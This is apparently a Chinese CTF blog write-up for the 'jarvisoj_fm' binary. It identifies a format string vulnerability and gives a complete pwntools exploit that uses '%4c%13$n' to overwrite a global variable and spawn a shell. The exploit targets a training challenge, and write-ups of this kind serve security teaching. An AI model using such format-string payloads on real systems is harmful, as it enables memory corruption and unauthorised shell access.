jarvisoj_fm
使用checksec查看:

开启了栈不可执行和Canary。
先放进IDA中分析:

printf(&buf);:存在格式化字符串的漏洞。if ( x == 4 ) { puts("running sh..."); system("/bin/sh"); }:只需x处的值为4即可拿到shell。
题目思路
- 存在格式化字符串漏洞。
- 利用格式化字符串漏洞将
x处数据写成0x4即可getshell。
步骤解析
先用
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p测试出格式化字符串是第几个参数。可以看到是第11个参数。

接着构造payload,需要将x置为
0x4,所以用%4c输出四个字符,此时%11$n需要改为%13$n因为
%4c%13$n占了2字节,所以11需要改为13,后面再接上需要覆盖的地址。最后payload为:
b'%4c%13$n' + p32(x_addr)
完整exp
from pwn import *
#start
r = process("../buu/jarvisoj_fm")
#params
x_addr = 0x804A02C
#attack
payload = b'%4c%13$n' + p32(x_addr)
print(payload)
r.sendline(payload)
r.interactive()
该博客介绍了如何分析一个存在栈不可执行和Canary保护的程序,并利用格式化字符串漏洞来修改内存中的值,当x值变为0x4时,触发执行system(/bin/sh)获取shell。通过IDA分析和payload构造,最终成功利用该漏洞。
419

被折叠的 条评论
为什么被折叠?



